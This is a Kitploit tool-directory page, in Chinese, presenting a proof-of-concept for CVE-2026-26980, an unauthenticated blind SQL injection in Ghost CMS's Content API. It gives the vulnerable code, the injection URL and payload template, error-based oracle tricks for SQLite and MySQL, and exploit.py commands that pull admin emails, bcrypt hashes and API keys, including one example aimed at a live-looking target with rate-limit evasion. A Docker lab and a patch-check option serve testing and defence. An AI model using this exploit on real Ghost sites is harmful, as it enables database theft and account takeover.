Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API 盲SQL注入 | Kitploit
工具/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试数据库安全实验室与实践
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API 盲SQL注入

查看仓库
132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-26980 — Ghost CMS 内容 API 盲 SQL 注入

受影响版本: Ghost 3.24.0 – 6.19.0
修复版本: Ghost 6.19.1
所需认证: 无——内容 API 密钥是公开的
影响: 未认证即可读取整个数据库(凭据、API 密钥)


漏洞

slug-filter-order.js 将用户提供的 slug 值直接插值到原始 SQL ORDER BY 子句中,而不是使用参数化绑定。

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

注入点:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

载荷模板:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]

Oracle(判定机制)

下载工具

注入的表达式充当基于错误的布尔判定机制。

引擎TRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) 溢出 → HTTP 500

NQL 约束——方括号内的 SQL 表达式不得包含单引号(')或逗号(,):

问题SQLite 解决方案MySQL 解决方案
字符串字面量 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
位置 N 处的字符基于前缀的字符串比较ASCII(SUBSTR(x FROM N FOR 1))

在 SQLite 中 || 是字符串连接符,在 MySQL 中则是逻辑或——字符串字面量必须针对不同引擎采用不同的编码方式。


使用方法

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

示例

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

速率限制(HTTP 429)

Ghost 默认会对内容 API 请求进行速率限制。可选方案:

  1. 传入 --delay 0.5 在请求之间添加延迟
  2. 在 docker-compose 环境中设置 API_RATE_LIMIT_ENABLED: "false" 并重启

参考

  • Ghost 安全公告:GHSA-w52v-v783-gw97
  • NVD:CVE-2026-26980
  • 修复差异:Ghost 6.18.0 → 6.19.1 中的 slug-filter-order.js

实验环境搭建

仅供参考——如果你已经有存在漏洞的 Ghost 实例,请跳过本节。

环境要求

  • Docker + Docker Compose
  • Python 3.9+,并通过 pip install requests 安装依赖

目录结构

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

两个 compose 文件分别暴露:

  • http://localhost:2368——存在漏洞(Ghost 6.18.0)
  • http://localhost:2369——已修补(Ghost 6.19.1)

使用 SQLite 启动

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

使用 MySQL 启动

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

MySQL 凭据:host=localhost:3306 user=ghost password=ghostpass
数据库:ghost_vuln(端口 2368)/ ghost_patch(端口 2369)

首次运行设置

等待约 60 秒让 Ghost 初始化,然后:

  1. 访问 http://localhost:2368/ghost——创建管理员账户并至少发布一篇文章
  2. 从 Ghost 管理后台 → 设置 → 集成中复制内容 API 密钥

重置实验环境

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d